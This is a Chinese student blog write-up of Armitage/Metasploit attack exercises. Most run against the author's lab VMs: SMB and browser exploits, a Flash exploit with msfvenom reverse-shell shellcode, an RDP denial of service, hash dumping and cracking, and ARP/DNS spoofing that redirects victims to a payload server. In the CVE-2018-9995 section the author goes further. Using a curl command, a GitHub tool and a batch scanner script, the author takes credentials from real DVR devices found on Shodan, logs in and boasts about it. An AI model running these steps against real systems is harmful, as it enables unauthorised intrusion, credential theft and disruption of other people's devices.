基于Armitage的MSF自动化集成攻击实践 - 20155314刘子健 - 博客园
2018-12-27 22:24:44 Author: www.cnblogs.com(查看原文) 阅读量:522 收藏

目录

返回目录

0x01 实践环境

  • macOS下Parallels Desktop虚拟机中(网络源均设置为共享网络模式):
    • Kali Linux - 64bit(攻击机,IP为10.211.55.10
    • Windows 7 - 64bit(靶机,IP为10.211.55.14
    • Windows XP Professional Version 2002 Service Pack 3(靶机,IP为10.211.55.16

返回目录

0x02 预备知识

  • Armitage基本介绍:
    • Armitage是一款基于Java的Metasploit图形界面化的攻击软件,可以用它结合 Metasploit中已知的exploit来针对主机存在的漏洞自动化攻击。通过命令行的方式使用Metasploit难度较高,需要记忆的命令过多,而Armitage完美的解决了这一问题,用户只需要简单的点击菜单,就可以实现对目标主机的安全测试和攻击。Armitage良好的图形展示界面,使得攻击过程更加直观,用户体验更好。因其操作的简单性,尤其适合Metasploit初学者对目标系统进行安全测试和攻击。
  • Armitage攻击目标主机的的一般方法:

    • 目标网络扫描:为了确定目标主机所在网络结构的网络拓扑,为后续目标主机信息搜索和攻击奠定基础。
    • 目标主机信息搜集:为了收集目标主机的漏洞信息,根据收集到的漏洞信息可以利用Armitage在Metasploit中自动搜索合适的攻击模块。
    • 目标主机攻击模块搜索:主要方法是依据发现的漏洞信息寻找可以突破目标系统的现有漏洞利用模块,为具体的攻击方案制定提供尽可能多的可靠支撑。

返回目录

0x03 Armitage基础配置

返回目录

0x04 Nmap:Armitage下信息搜集与漏洞扫描

返回目录

0x05 Armitage下漏洞自动化攻击实践

5.1 ms08_067_netapi(CVE-2008-4250):Windows远程溢出漏洞自动化攻击

  • ms08_067漏洞介绍:

    This module exploits a parsing flaw in the path canonicalization code of NetAPI32.dll through the Server Service. This module is capable of bypassing NX on some operating systems and service packs. The correct target must be used to prevent the Server Service (along with a dozen others in the same process) from crashing. Windows XP targets seem to handle multiple successful exploitation events, but 2003 targets will often crash or hang on subsequent attempts. This is just the first version of this module, full support for NX bypass on 2003, along with other platforms, is still in development.

    • ms08_067_netapi是一款Metasploit中有点老的溢出攻击载荷,攻击可以获得一个相对高的权限。

    • CVE ID:CVE-2008-4250

    • 原理:攻击者利用受害者主机默认开放的SMB服务端口445,发送特殊RPC(Remote Procedure Call 远程过程调用)请求,通过MSRPC over SMB通道调用Server程序中的NEtPathCanonicalize()函数时触发,NetPathCanonicalize()函数在远程访问其他主机时,会调用NetpwPathCanonicalize()函数,对远程访问的路径进行规范化,而在NetpwPathCanonicalize()函数中发生了栈缓冲区内存错误,造成可被利用实施远程代码执行。

    • 危害:攻击者能远程主动发起对漏洞主机端口的扫描,并且能直接获得漏洞主机的系统权限,属于最高严重级别的漏洞。

  • 在利用Armitage完成对靶机的攻击模块自动化搜索以后,选中10.211.55.16主机右键可以发现多了Attack菜单。依次选择Attack->smb->ms08_067_netapi菜单,选择smb漏洞下的ms08_067漏洞对XP靶机进行攻击(也可以在Armitage左侧树型目录下依次选择exploit->windows->smb->ms08_067_netapi找到该漏洞):
  • 在弹出的攻击配置对话框中配置LHOST/RHOST、LPORT/RPORT等信息(一般会自动配置好,这里把LPORT改成学号),Targets处配置靶机的系统(一般默认自动检测靶机系统),勾选Use a reverse connection,点击Launch开始攻击:
  • Armitage会进行一系列自动化攻击!攻击完成后,可以看到靶机的图标会发生明显变化:
  • Armitage会自动建立一个驻留在内存的shellcode即Meterpreter。在攻击成功的靶机上右键选择Meterpreter 1->Interact->Command Shell,输入dir命令查看靶机C:\WINDOWS\system32目录下的系统文件:

    攻击完成(⁎⁍̴̛ᴗ⁍̴̛⁎):
  • 在攻击成功的靶机上右键选择Meterpreter 1->Interact->Meterpreter Shell,输入getuid命令查看靶机当前用户的权限是SYSTEM权限:

    攻击完成(⁎⁍̴̛ᴗ⁍̴̛⁎):

返回目录

5.2 ms14_064_ole_code_execution(CVE-2014-6352):IE远程代码执行漏洞自动化攻击

  • ms14_064_ole_code_execution漏洞简介:

    This module exploits the Windows OLE Automation array vulnerability, CVE-2014-6332. The vulnerability is known to affect Internet Explorer 3.0 until version 11 within Windows 95 up to Windows 10, and no patch for Windows XP. However, this exploit will only target Windows XP and Windows 7 box due to the Powershell limitation. Windows XP by defaults supports VBS, therefore it is used as the attack vector. On other newer Windows systems, the exploit will try using Powershell instead.

    • CVE ID:CVE-2014-6352

    • 原理及危害:OLE(对象链接与嵌入)是一种允许应用程序共享数据和功能的技术。UAC(User Account Control,用户帐户控制)是微软为提高系统安全而在Windows Vista中引入的新技术。Microsoft Windows在OLE组件的实现上存在安全漏洞,未经身份验证的远程攻击者可利用此漏洞执行远程代码。此漏洞源于没有正确处理含有OLE对象的Office文件。

    • 受影响系统版本:
      • Microsoft Windows Vista
      • Microsoft Windows Server 2012
      • Microsoft Windows Server 2008
      • Microsoft Windows RT
      • Microsoft Windows 8.1
      • Microsoft Windows 8
      • Microsoft Windows 7
  • 在Armitage左侧树型目录下依次选择exploit->windows->browser->ms14\_064\_ole\_code\_execution找到该漏洞并双击打开配置界面开始配置。注意!此处需要把AllowPowershellPrompt置为1!!然后配置好LHOST/RHOST、LPORT/RPORT等信息(把LPORT改成学号,其余均取默认值),Targets处配置靶机的系统Windows XP,点击Launch开始攻击:
  • Armitage会进行一系列自动化攻击!
  • 靶机打开IE浏览器,输入meterpreter提供的URLhttp://10.211.55.10:8080/0KO2YrGZdZ1viW/SrEsdO/并回车,在靶机看来似乎并没有发生什么!然而此时Armitage中靶机的图标已发生明显变化,表明Kali攻击机已攻击成功!!

  • 开始操作一波吧^_^在攻击成功的靶机上右键选择Meterpreter 1,发现除了上个攻击实践中查看Command ShellMeterpreter Shell功能之外,还具有查看浏览器文件、进程、截屏等功能!

返回目录

5.3 ms17_010_eternalblue(CVE-2017-0143):“永恒之蓝”自动化攻击

  • ms17_010_eternalblue漏洞介绍:

    This module is a port of the Equation Group ETERNALBLUE exploit, part of the FuzzBunch toolkit released by Shadow Brokers. There is a buffer overflow memmove operation in Srv!SrvOs2FeaToNt. The size is calculated in Srv!SrvOs2FeaListSizeToNt, with mathematical error where a DWORD is subtracted into a WORD. The kernel pool is groomed so that overflow is well laid-out to overwrite an SMBv1 buffer. Actual RIP hijack is later completed in srvnet!SrvNetWskReceiveComplete. This exploit, like the original may not trigger 100% of the time, and should be run continuously until triggered. It seems like the pool will get hot streaks and need a cool down period before the shells rain in again. The module will attempt to use Anonymous login, by default, to authenticate to perform the exploit. If the user supplies credentials in the SMBUser, SMBPass, and SMBDomain options it will use those instead. On some systems, this module may cause system instability and crashes, such as a BSOD or a reboot. This may be more likely with some payloads.

    • EternalBlue是2017年席卷全球的WannaCry勒索病毒的罪魁祸首,是微软近些年来最为严重的远程代码执行漏洞,可以直接获得系统权限。百度上EternalBlue一般指去年爆发的WannaCry,实际上是该勒索病毒软件利用了NSA泄露的危险漏洞EternalBlue进行传播。关于WannaCry详见WannaCry - 百度百科以及我去年写的博客应对WannaCry勒索危机之关闭445端口等危险端口——以本人Windows7系统为例

    • CVE ID:CVE-2017-0143

    • 原理:
      • 利用Metasploit中近期更新的针对ms17-101漏洞的攻击载荷进行攻击获取主机控制权限。
      • 利用windows系统的Windows SMB远程执行代码漏洞向Microsoft服务器消息块(SMBv1)服务器发送经特殊设计的消息,能允许远程代码执行。
    • 主要用途:
      • Windows的SMBv1、SMBv2远程溢出漏洞,对应MS17_010,主要针对445端口
    • 受影响系统版本:
      • 较广,从WindowsXP到Windows server 2012
  • 在Armitage菜单栏依次选择Hosts->Nmap Scan->Quick Scan(OS detect)并填写靶机所在网段10.211.55.0/24搜索存活的主机:

    发现两台可以攻击的靶机,一台XP(IP为10.211.55.16)一台win7(IP为10.211.55.14):
  • 依次选择菜单栏Attacks->Find Attacks,Armitage会开始自动搜索靶机寻找合适的攻击模块,对于win7右键依次选择Attack->smb,可以发现Armitage提供了5个可供攻击的smb漏洞,选择check exploits检查这些漏洞是否能被攻击:

    可以看到除了第一个漏洞ipass_pipe_exec没有检测结果不知道能否进行攻击之外其他4个全部阵亡,要么不可利用(not exploitable)要么检测不出来(not support check):


    并没有找到所谓的eternalblue,怎么破?
  • 别着急,这里我们还是在Armitage左侧树型目录下依次选择exploit->windows->smb->ms17_010_eternalblue找到传说中的eternalblue永恒之蓝并双击打开配置界面,相关配置均用默认值即可:

    特别注意的是,eternalblue是针对445端口进行攻击的,攻击成功与否关键在于靶机是否开放了这个端口!!!
  • 点击Launch开始攻击win7:


    攻击不成功?!再来!
  • 重新双击打开eternalblue配置界面,勾选Use a reverse connection,点击Launch开始攻击:

    看看win7靶机的图标,攻击成功!!!

    查看session并进入,获取shell:

    接下来该干什么,你懂的^_^Happy hunting^_^
  • 不过另一台靶机就没那么给面子了,可能由于eternalblue只能攻击Windows 7和Windows server 2008,攻击xp时会显示操作系统不匹配攻击不成功(._.)

返回目录

5.4 office_ms17_11882(CVE-2017-11882):Office远程代码执行漏洞自动化攻击

返回目录

5.5 CVE-2018-4878:Adobe Flash 0day漏洞自动化攻击

  • Adobe Flash CVE-2018-4878漏洞介绍:

    2018年2月1日,Adobe官方发布了Adobe Flash Player系列产品的安全通告(APSA18-01),一个最新的Adobe Flash 0day漏洞被发现针对韩国地区的人员发起攻击,该0day漏洞编号为CVE-2018-4878,目前最新版本28.0.0.137及其以前版本的Adobe Flash Player均受漏洞影响。直到2月5日,Adboe才发布补丁来修复此0day漏洞。

    攻击者通过构造特殊的Flash链接,并将恶意Flash链接嵌入Office文档、网页或者桌面应用,当用户用浏览器/邮件/Office访问此Flash链接时,会被“远程代码执行”,并且直接被getshell。

    • 受影响系统版本:

      产品 版本 平台
      Adobe Flash Player桌面运行时 28.0.0.137和更早版本 Windows,Macintosh
      适用于Google Chrome的Adobe Flash Player 28.0.0.137和更早版本 Windows,Macintosh,Linux和Chrome操作系统
      适用于Microsoft Edge和Internet Explorer 11的Adobe Flash Player 28.0.0.137和更早版本 Windows 10和8.1
      Adobe Flash Player桌面运行时 28.0.0.137和更早版本 Linux

由于Armitage中并未自带此漏洞的攻击模块,我们需要自己配置攻击环境!

  • 下载并解压CVE-2018-4878-master.zip,输入命令:

    unzip CVE-2018-4878-master.zip

  • 用msfvenom生成shellcode,注意IP地址应为Kali的IP,输入命令:

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.10 LPORT=5314 -f python > code.txt

  • 查看代码文件,输入命令:

    cat code.txt

  • 进入CVE-2018-4878-master.zip的解压目录,编辑cve-2018-4878.py文件,输入命令:

    vim cve-2018-4878.py


    将下面红色标出的部分用刚才生成的shellcode替换:

    然后修改swf文件和html文件路径为自己的路径并保存退出:

  • 用python执行脚本文件生成exploit.swfexploit.html,输入命令:

    python cve-2018-4878-master.py

  • 启动Apache服务,输入命令:

    service apache2 start

    可以用netstat命令查看Apache服务是否开启:

    service apache2 status

  • Apache服务成功开启后,将之前生成的cp exploit.swfexploit.html复制到apache2服务的网页目录下,输入命令:

    cp exploit.swf /var/www/html/exploit.swf
    cp exploit.html /var/www/html/exploit.html


    至此,攻击环境基本配置完成,现在只要受害者访问我们的链接就可以直接被远程控制!

下面开始用Armitage操作一波!看仔细咯~

返回目录

5.6 CVE-2018-9995:DVR登录绕过漏洞攻击

  • CVE-2018-9995漏洞介绍:

    2018年5月1日,一名阿根廷安全研究人员Ezequiel Fernandez发布了一款功能强大的新型黑客工具,可以轻松地提取各种数字视频录像机(DVR)品牌的明文凭证,并授予攻击者访问这些系统的权限,本质上来说就是允许用户随意查看DVR录制的视频记录。

    该工具名为“getDVR_Credentials”,是CVE-2018-9995的概念验证(proof-of-concept,简称PoC),而CVE-2018-9995是Fernandez于上月初发现的一个安全漏洞。

  • 使用shodan获取有可能存在漏洞的设备,搜索关键字GNU rsp/1.0(还可以使用zoomeye,fofa,google等搜索引擎搜索设备,这里我就未做其他尝试了):
  • 使用curl命令获取该MDVR设备的登录密码(条件是存在device.rsp页面并可访问),这简直是一条万能的命令啊:

    curl "http://<dvr_host>:<port>/device.rsp?opt=user&cmd=list" -H "Cookie: uid=admin"

    嘻嘻,list出来两组用户名和密码!!!还等什么赶紧试试!!
  • 输入任一组用户名和密码之后就能登录DVR设备了>_<可以说非常易行且致命>_<由于某些原因这里就不再上图啦>_<

  • 开心之余,我们可以思考一下能否将这种入侵手段做成MSF的一个攻击模块然后利用咱们的Armitage实施自动化攻击呢?实际上这位阿根廷大佬已经写好了一个py工具发布在他的github上!我们可以直接拿来用233>_<
  • Kali攻击机打开终端,依次输入以下命令进行安装配置:

    git clone https://github.com/ezelf/CVE-2018-9995_dvr_credentials.git
    cd CVE-2018-9995_dvr_credentials
    pip install -r requirements.txt

  • 一切准备就绪,开始攻击!!!输入以下命令:

    python getDVR_Credentials.py --host HOST --p PORT

    --p PORT不指出也行喔!

    emmmm成功啦,可以看出这台XVR设备存在弱口令漏洞,密码竟然为空666666再黑进一波,溜了~

DVR系列设备漏洞批量检测

  • Kali攻击机终端中输入命令vim CVE-2018-9995_check.py新建CVE-2018-9995_check.py
  • 这里我们直接拿来hzkey大佬的脚本,该脚本用来批量检测我们输入送检的DVR系列设备是否存在login.rsp页面,输入以下代码然后保存并退出:

      import tableprint as tp
      import sys
      import requests
      import re
    
      class Colors:
          GREEN = '\033[32m'
          RED = '\033[0;31m'
          BLUE = '\033[*]'
          ORANGE = '\033[33m'
    
      def check_host(host):
          try:
              print(Colors.ORANGE+"Checking : %s"%host)
              url = 'http://' + host+'/login.rsp'
              rr= requests.get(url,timeout=30,allow_redirects=False)
              if rr.status_code == 200 and re.findall("GNU rsp/1.0", rr.headers["Server"]):
                  print(Colors.GREEN+"[*] CVE-2018-9995 Detection :Url is %s"%url)
                  ff=open('result.txt','a+')
                  ff.write('%s\n'%(url))
          except:
              pass
      if __name__ == '__main__':
          if len(sys.argv) < 2:
              print(Colors.BLUE+"""Usage: Python3 CVE-2018-9995.py host.txt
      host.txt:127.0.0.1:8080 or www.baidu.com
      """)
          if len(sys.argv) >= 2:
              file = open(sys.argv[1])
              for i in file:
                  i = i.strip()
                  check_host(i)
              file.close()
  • 用命令vim host.txt新建host.txt,内容可以为shodan等搜索引擎上搜到的设备的IP:PORT(可以不写端口)或者域名的形式;
  • 输入以下命令:

    python CVE-2018-9995_check.py host.txt

    脚本运行后对使用了DVR系列摄像头的host会保存到result.txt文件里:

    啧啧啧shodan第一页上10台DVR系列的设备竟然有9台存在漏洞!抱歉我们Hacker就是可以为所欲为!!!

返回目录

0x06 Armitage下Auxiliary辅助模块应用

6.0 Metasploit Auxiliary辅助模块概述

Metasploit的辅助模块主要用于信息搜集阶段,功能包括扫描、口令猜解、敏感信息嗅探、FUZZ测试发掘漏洞、实施网络协议欺骗等。这些模块可以分为Admin、Scanner、Server三个大类。

根据本学期《网络对抗技术》和《网络安全协议》课程所学知识,我们可以按照不同协议和服务对应的端口来对辅助模块进行功能性划分:

端口 协议或服务 模块名 路径 功能
信息收集 psnuffle auxiliary/sniffer/psnuffle 嗅探抓包
dir_scanner auxiliary/scanner/http/dir_scanner 扫描网站目录
search_email_collector auxiliary/gather/search_email_collector 搜索网站中的E-mail
服务扫描及利用 syn auxiliary/scanner/portscan/syn SYN端口扫描
tcp auxiliary/scanner/portscan/tcp TCP端口扫描
xmas auxiliary/scanner/portscan/xmas TCP "XMas"端口扫描
ack auxiliary/scanner/portscan/ack ACK防火墙扫描
arp_sweep auxiliary/scanner/discovery/arp_sweep 探测网段中存活主机
21 FTP ftp_version auxiliary/scanner/ftp/ftp_version FTP主机扫描
anonymos auxiliary/scanner/ftp/anonymos FTP匿名登录
22 SSH ssh_version auxiliary/scanner/ssh/ssh_version SSH服务扫描
ssh_login auxiliary/scanner/ssh/ssh_login SSH口令猜测
23 Telnet telnet_version auxiliary/scanner/telnet/telnet_version Telnet服务扫描
telnet_login auxiliary/scanner/telnet/telnet_login Telnet口令猜测
25 SMTP smtp_version auxiliary/scanner/smtp/smtp_version SMTP版本扫描
smtp_enum auxiliary/scanner/smtp/smtp_enum SMTP枚举
69 TFTP tftpbrute auxiliary/scanner/tftp/tftpbrute FTP文件扫描
anonymous auxiliary/scanner/ftp/anonymous FTP匿名登录
139、445 SMB smb_version auxiliary/scanner/smb/smb_version 扫描操作系统版本
smb_lookupsid auxiliary/scanner/smb/smb_lookupsid 扫描组的用户
smb_login auxiliary/scanner/smb/smb_login 用于登录
smb_enumusers auxiliary/scanner/smb/smb_enumusers 枚举系统上的用户
161 SNMP snmp_enum auxiliary/scanner/snmp/snmp_enum 批量检测SNMP
snmp_login auxiliary/scanner/snmp/snmp_login 扫描SNMP主机
1521 oracle tnslsnr_version auxiliary/scanner/oracle/tnslsnr_version oracle服务扫描
1433 mssql mssql_ping auxiliary/scanner/mssql/mssql_ping 扫描开放mssql主机
3306 mysql mysql_login auxiliary/scanner/mysql/mysql_login mysql口令猜测
5432 postgres postgres_login auxiliary/scanner/postgres/postgres_login postgres口令猜测
8080 tomcat tomcat_mgr_login auxiliary/scanner/http/tomcat_mgr_login tomcat口令猜测

返回目录

6.1 John the Ripper:Linux口令破解模块攻击实践

  • jtr_linux密码破解模块简介:

    This module uses John the Ripper to identify weak passwords that have been acquired from unshadowed passwd files from Unix systems. The module will only crack MD5 and DES implementations by default. Set Crypt to true to also try to crack Blowfish and SHA implementations. Warning: This is much slower.

    • 用途:最流行的口令破解器,用于破解弱口令Hash(默认只破解MD5和DES,将Crypt选项置为true也能够慢速破解Blowfish和SHA)
  • John the Ripper简介:

    The John The Ripper module is used to identify weak passwords that have been acquired as hashed files (loot) or raw LANMAN/NTLM hashes (hashdump). The goal of this module is to find trivial passwords in a short amount of time. To crack complex passwords or use large wordlists, John the Ripper should be used outside of Metasploit. This initial version just handles LM/NTLM credentials from hashdump and uses the standard wordlist and rules.

    • JTR官网:John the Ripper - Metasploit Unleashed
    • 原理:JTR(以及任何离线密码破解器)的工作方式是计算列表(或所生成的)单词的Hash,并将它们与需要被破解的Hash对比,当存在匹配时它就假设密码找到了。
  • 首先我们需要以特定格式设置用户名和密码Hash(这里选择用MD5在线生成):
    • 访问MD5在线加解密网站CMD5,在上方【密文】处输入一段字符串,下方【查询结果】处就立即显示出结果(只要不超过31位,否则会卡住233):
    • 分别将不同用户名对应的密码经过MD5在线加密之后得到Hash值,获得下面这张表:

      用户名 密码 Hash
      admin admin 21232f297a57a5a743894a0e4a801fc3
      user user ee11cbb19052e40b07aac0ca060c23ee
      Tom password 5f4dcc3b5aa765d61d8327deb882cf99
      jtr_linux abc123 e99a18c428cb38d5f260853678922e03
      20155314 qwertyu123. 682e9cfe26d949a10009cfc9969076ad
      [email protected] kxjsjc_wx_1553 d80b3f4f2517d9a3ecf2a1e8031f6ff1
  • 在Kali攻击机中新建一个名为hashes.txt的文本文件,把表中信息添加进去,每行包含一个用户名和一个Hash,以:分隔(username:hash):
  • 在Armitage左侧树型目录下依次选择auxiliary->analyze->jtr_linux并双击打开开始配置,配置好JOHN_PATH然后点Launch
  • show options命令还可以查看模块的有效选项及其详细描述:
  • Armitage会为我们生成一个单词列表文件WordList,但是不知道什么原因它并没有识别出我的hashes.txt而报错:(
  • 此时我们手动使用刚刚Armitage生成的单词列表进行破解,打开终端并执行以下命令:
    john --wordlist=/tmp/jtrtmp20180502-5917-ctqwpk --format=raw-md5 hashes.txt

    可以看到单词列表中6个口令破解了4个。我们还能看出,John每秒能尝试10,013,000次(10,013KC/s)!!!
  • 至于剩下的两个,可能是我把密码设置得太复杂的原因吧一直没破解出来(ー ー;)将--wordlist选项去掉采用暴力破解的方式也一直没跑出来(ー ー;)时间原因跑了不到10分钟就被我掐掉了感觉速度还是比彩虹表要慢很多啊(ー ー;)

返回目录

6.2 ms12_020_maxchannelids(CVE-2012-0152):Windows远程桌面释放重引用拒绝服务模块之死亡蓝屏攻击实践

  • MS12-020 Microsoft Remote Desktop Use-After-Free Denial of Service模块简介:

    This module exploits the MS12-020 RDP vulnerability originally discovered and reported by Luigi Auriemma. The flaw can be found in the way the T.125 ConnectMCSPDU packet is handled in the maxChannelIDs field, which will result an invalid pointer being used, therefore causing a denial-of-service condition.

  • UAF(Use-After-Free)释放重引用漏洞简介:

    Use-After-Free是一种内存破坏漏洞,成因是一块堆内存被释放了之后又被使用(指针存在)。这个引用的结果是不可预测的。

    举例:假设一个对象A前4字节(0x400000)为函数printf,释放后,恶意用户重用这个空间,将前4字节改为(0x4a0000)system函数,然后来到漏洞的触发点,程序由于疏忽再次调用A的printf,却调用了system函数。

  • MS12-020漏洞简介:
    • MS12-020全称Microsoft Windows远程桌面协议RDP远程代码执行漏洞。

    • CVE ID:CVE-2012-0152

    • 原理:使用了CVE-2012-0152远程桌面协议RDP拒绝访问漏洞。远程桌面协议(RDP, Remote Desktop Protocol)是一个多通道(multi-channel)的协议,让用户(客户端或称“本地电脑”)连上提供微软终端机服务的电脑(服务器端或称“远程电脑”)。Windows在处理某些对象时存在错误,可通过特制的RDP报文访问未初始化的或已经删除的对象,导致任意代码执行,然后控制系统。

    • 危害:若存在该漏洞,其最严重的情况可能会造成被攻击系统被远程执行任意代码,而通常情况下会造成对方蓝屏或重启。

    • 受影响系统版本(开了RDP的):
      • Microsoft Windows XP Professional
      • Microsoft Windows XP Home
      • Microsoft Windows Server 2003 Standard Edition
      • Microsoft Windows Server 2003 Enterprise Edition
      • Microsoft Windows Server 2003 Datacenter Edition
      • Microsoft Windows 7
  • 为了达到我们的实践效果,我们需要在win7靶机上开启远程桌面协议,步骤如下:
  • Kali攻击机打开Armitage,在上方工具栏中依次选择Hosts->Nmap Scan->Quick Scan(OS detect),填写靶机所在网段10.211.55.0/24,然后选中靶机10.211.55.14,右键选择Services,查看靶机上开启的服务:

    可见靶机已经开启了3389远程服务,那么接下来我们利用Armitage中MS12-020这个RDP拒绝访问漏洞辅助模块来进行攻击!

  • 在Armitage左侧树型目录下依次选择auxiliary->dos->windows>rdp>ms12_020_maxchannelids(也可直接在下方搜索栏输入关键字搜索,更快)并双击打开配置,发现RHOST和RPORT已经被默认设置为靶机的配置,我们直接点击Launch即可进行攻击:

  • Armitage这边显示靶机的RDP协议seems down,一看靶机那边瞬间蓝屏( ̀⌄ ́)哦哟攻击成功!!!

    我们的口号是——蓝屏的*,好喝的*!(广告莫名植入)

    同时,我们可以从蓝屏信息中看出这次蓝屏是由于RPDWD.SYS引起的内存地址异常(0x00000050),有分析称出现漏洞的罪魁祸首是该文件中的HandleAttachUserReq()函数。

    随后win7靶机自动重启,然后弹窗提示刚刚异常关机了(废话不异常才怪呢嘿嘿嘿):

返回目录

0x07 Armitage下网络欺诈综合应用

我们还可以将Exp7中用到的setoolkit和Armitage配合使用进行社会工程学攻击,实现靶机自动上线并获取靶机Administer账户登录密码!

下面终于轮到我们的Armitage大干一番了!!!

接下来我们利用Kali自带的工具Ophcrack对Hash进行破解!

  • Ophcrack工具介绍:

    Ophcrack是一款利用彩虹表来破解Windows密码的图形界面化工具。

    • 彩虹表(Rainbow Table)是一种破解Hash算法(找到碰撞)的技术,将暴力破解和字典两种常用的攻击方法结合起来,用一个大型数据字典来进行快速匹配暴力破解,以空间换时间,破解效率大幅度提高。

    • LM(LanManager)是Windows古老而脆弱的密码加密方式。任何大于7位的密码都被分成以7为单位的几个部分,最后不足7位的密码以0补足7位,然后通过加密运算最终组合成一个hash。所以实际上通过破解软件分解后,LM密码破解的上限就是7位,这使得以今天的PC运算速度在短时间内暴力破解LM加密的密码成为可能(上限是两周),如果使用彩虹表,那么这个时间数量级可能被下降到小时。

  • 和Armitage类似,我们可以通过菜单栏05-Password文件夹下找到Ophcrack的图标直接打开她:

  • 首先,我们需要从官网下载Ophcrack提供的彩虹表文件。Ophcrack官网提供的彩虹表有XP和Vista两个版本:

    • XP版本提供了四个免费的彩虹表:XP free small (380MB)XP free fast (703MB)XP special (7.5GB)XP german (7.4GB)

      选择最小的那个查看介绍学习一波:

      XP free small (380MB)

      标识:SSTIC04-10k

      破解成功率: 99.9%

      字母数字表:123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ

      该表有大小写字母加数字生成,大小为380MB,包含所有字母数字混合密码中99.9%的LanManager表。这些都是用大小写字母和数字组成的密码(大约800亿组合)。

      由于LanManager哈希表将密码截成每份7个字符的两份,我们就可以用该表破解长度在1到14之间的密码。由于LanManager哈希表也是不区分大小写的,该表中的800亿的组合就相当于(12*10)^11(或者2^83)个密码,因此也被称为“字母数字表10K”。

    • Vista版本的彩虹表有Vista free (461MB)Vista proba free (581MB)Vista special (8.0GB)Vista num (3.0GB)

    • 由于这里测试的是win7的密码而且是简单密码,我们下载Vista版本的Vista proba free(581MB)即可:

      我们还可以看出彩虹表大小大致和字符集、能够破解密码长度有关,设置的字符集越复杂、能破解的长度越长彩虹表的体积就越庞大(我们密码技术竞赛用到的彩虹表超过500G)!

  • 下载完之后,我们打开Ophcrack工具,点击上方工具栏的Tables

  • 点击右下角的Install

  • 选择我们下载的彩虹表文件(解压之后得到的文件夹):

  • 此时对应的彩虹表项会变绿表示可用,点击OK返回:

  • 在上方工具栏依次选择Load->Single hash

  • 把我们刚才dump到的Hash值复制过来,点击OK进行破解:

  • 秒破解!显示win7靶机的开机密码为空(其实根本就没设置233)!

  • 没意思?那我们来给Administrator设个密码试试!
    又回到熟悉的操作啦>_<

    重新登录一下(密码就不告诉你),然后用payload.exe回连:

  • Armitage这边回连成功后使用hashdump:

  • 将最后这一串复制到Ophcrack中,点击工具栏中的Crack开始破解:

  • 可以看到已经开始加载彩虹表进行破解,下方记录了进度和所用时间:

  • 最后Ophcrack只用2分19秒就把win7靶机这个字母数字混合的密码给破解出来了!可以看出彩虹表的性能还是非常惊人的>_<

返回目录

7.2 Bettercap+dnsspoof:Armitage下利用中间人攻击实现网络钓鱼

  • Bettercap工具介绍:

    Bettercap是一个比Exp7中用到的ettercap更先进、好用的也是目前我们能获取到的功能最完备的一个中间人攻击框架。虽然Bettercap没有GUI界面,但是它仍然很好上手,使用起来特别便利。使用者只需要根据帮助文档将一个个命令组合起来就可以使用其各种强大的功能。

    使用Bettercap时我们并不需要像使用ettercap一样先行扫描局域网内的主机,Bettercap会帮我们自动完成扫描主机的任务,并且可以实时发现网络中新接入的设备。如果你想手动指定攻击目标,Bettercap允许我们通过命令来关闭自动发现设备的功能并且手动指定要攻击的单个目标或是部分网段/整个网段。

  • 中间人攻击原理:

  • DNS欺骗是一种中间人攻击形式,具体可以参考我的Exp7博客:2017-2018-2 20155314《网络对抗技术》Exp7 网络欺诈防范

  • dnsspoof原理:

    dnsspoof启用DNS欺骗,如果dnsspoof嗅探到局域网内有DNS请求数据包,它会分析其内容,并用伪造的DNS响应包来回复请求者。如果是请求解析某个域名,dnsspoof会让该域名重新指向另一个IP地址(黑客所控制的主机),如果是反向IP指针解析,dnsspoof也会返回一个伪造的域名。

  • Armitage browser_autopwn模块简介:

    This module has three actions. The first (and the default) is 'WebServer' which uses a combination of client-side and server-side techniques to fingerprint HTTP clients and then automatically exploit them. Next is 'DefangedDetection' which does only the fingerprinting part. Lastly, 'list' simply prints the names of all exploit modules that would be used by the WebServer action given the current MATCH and EXCLUDE options. Also adds a 'list' command which is the same as running with ACTION=list.

  • Kali下并没有集成Bettercap,我们需要自己安装(不大,才4M左右),终端中输入命令:

    sudo apt-get install bettercap

  • 新建一个名为test.hosts的hosts文件用于DNS欺骗,输入命令:

    vim test.hosts

    内容如下,IP为Kali攻击机的IP(别忘了后面的*):

  • 开启Apache服务:

    service apache2 start
  • 进入Apache根目录/var/www/html,输入命令:

    cd /var/www/html
  • 新建index.php,并输入以下代码然后保存退出:

    <?php 
    header("Location:http://10.211.55.10:8088"); 
    ?>


    这样在DNS欺骗后会跳到指定IP(Kali攻击机IP),然后在通过php重定向到我们的payload。

  • 在Armitage左侧树型目录下依次选择auxiliary->server->browser_autopwn并双击打开配置,直接用默认设置即可,点击Launch

    老规矩会进行一系列自动化配置:

    等待所有payload加载完成,一共20个:


  • 我们打开一个新的终端窗口,输入命令bettercap开启bettercap:


    可以用bettercap -h命令查看帮助文档:

    与老版本不同,新版(v2.0以后)的bettercap需要用-autostart参数来加载相应模块!

  • 攻击前,靶机用arp -a命令查看arp缓存表:

  • 开始arp欺骗攻击,输入命令:

    bettercap -autostart arp.spoof,net.sniff on


    我们可以在靶机中看到她已被成功欺骗>_<把Kali攻击机当成网关啦>_<

  • Kali这边开始用dnsspoof进行DNS欺骗,输入命令:

    dnsspoof -f /root/test.hosts


    现在同一网关下的靶机不管打开什么URL都会解析到我们的URL中!

返回目录

0x08 实践中遇到的问题及解决过程

启动Armitage时报错提示Could not connect to database

解决方案

  • 根据提示在终端中输入/etc/init.d/postgresql start命令启动postgresql服务,重启Armitage即可:

返回目录

0x9 实践总结与体会

9.1 Armitage到底能用来干啥?

   Armitage是图形化的Metasploit,其操作围绕着msfconsole展开,通过标签管理各种程序和各类资讯,可以同时处理多个msfconsole或session,大大降低了Metasploit操作的复杂度。从安全人员的角度来说,全自动化的Armitage非常有助于管理员对主机的漏洞测试

9.2 一些感受,写在最后!

  本次免考实践时间跨度极大,从最初接触Armitage有各种想法到挨个落实再到后期不断打磨直至最终定稿,前前后后竟有两个月之久!一路走来,正像刘老师说的那样,“开心就好”,是的我做到了,整个实践期间我真的非常开心,真的完全是靠兴趣坚持下来的。很多人总是看我趴在电脑前就来问了,都快考完放假了健哥你咋还在做lyd的实验,我说你不懂,这是我最快乐的时光。漏洞令人沉醉,一个漏洞的复现可以让我错过饭点、可以点灯刷夜,但绝不可以不把她写进我的博客中!毕竟,为了这一份小小的成就感,为了这一点小小的快乐,值^_^
